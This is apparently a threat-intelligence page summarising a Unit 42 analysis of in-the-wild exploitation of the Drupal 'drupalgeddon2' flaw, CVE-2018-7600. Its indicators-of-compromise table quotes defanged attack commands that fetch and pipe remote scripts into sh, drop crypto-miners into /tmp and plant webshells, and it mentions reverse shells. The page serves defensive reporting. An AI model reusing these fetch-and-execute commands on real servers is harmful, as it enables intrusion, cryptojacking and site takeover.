Exploit in the Wild: #drupalgeddon2 - Analysis of CVE-2018
Vulnerabilities mentioned
All| CVE | Vulnerability | CVSS | EPSS | Signals | Published |
|---|---|---|---|---|---|
| CVE-2018-7600 | Unauthenticated Remote Code Execution in Drupal Core (Drupalgeddon 2) | 9.8 | 100% | KEVRansomwarePoC ×4 | KEV |
Indicators of compromise
auto-extracted · verify before use · export allAll| Type | Indicator | Context |
|---|---|---|
| ipv4 | 172.217.6.36 | e payload is a simple wget command to an outside IP address 172.217.6.36 . Figure 3. Drupal server exploited and beaconing to http:/ |
| url | http://***.***.***.***/java/oracle.jpg|sh+|+sh+ | **.**/maxx2.txt Reverse shell Perl IRC shell system curl+-s+hxxp://***.***.***.***/java/oracle.jpg|sh+|+sh+ Crypto-miner Detects and kills other miners; implemented by |
| url | http://***.**.***.**/maxx2.txt | .gr/1.txt' Site takover Peshmerga nuisance hacker exec wget+hxxp://***.**.***.**/maxx2.txt Reverse shell Perl IRC shell system curl+-s+hxxp://***.***. |
| url | https://raw.githubusercontent.com/*/*/master/*/payload.php | loit Samples in the Wild cmd Payload Category Comments exec hxxps://raw.githubusercontent.com/*/*/master/*/payload.php File upload webshell Attacker forces server to execute host |
| url | https://*.sh/xxxxx/.X99-lock | Fake Bitcoin wallet/exchange site hosting malware exec wget hxxps://*.sh/xxxxx/.X99-lock Crypto-miner cd+/tmp;+rm+-rf+.X99-lock;+Y="hxxps://***.***. |
| url | https://***.***.***.***/x/.X99-lock | /xxxxx/.X99-lock Crypto-miner cd+/tmp;+rm+-rf+.X99-lock;+Y="hxxps://***.***.***.***/x/.X99-lock";+if+hash+curl+2>/dev/null;+then+curl+-s+-LO+"$Y";+else+wge |
| url | http://***.***.***.***/w.sh | e, full-suite repo of exploitation PoC and payload passthru hxxp://***.***.***.***/w.sh Crypto-miner /tmp/.x11_kenp0le/nttprd -B -a cryptonight -o |
| url | http://www.xxx.xxx.xxx.gr/1.txt | get+-q+"$Y";+fi;+sh+/tmp/.X99-lock+& exec wget+-O+kurd.php+'hxxp://www.xxx.xxx.xxx.gr/1.txt' Site takover Peshmerga nuisance hacker exec wget+hxxp://** |
From the original article
5 min read at unit42.paloaltonetworks.com
On 28 March 2018, the Drupal core security team released security advisory SA-CORE-2018-002 which discusses a highly critical vulnerability CVE-2018-7600 , later nicknamed drupalgeddon2. The vulnerability is present on all Drupal versions 7. x before 7.
By Yanhui Jia, Matthew Tennis, Yi Ren, Rongbo Shao · unit42.paloaltonetworks.com
A short excerpt; the article and its images belong to the publisher. Summary, key facts and assessment above are AI-written from the article and can be wrong.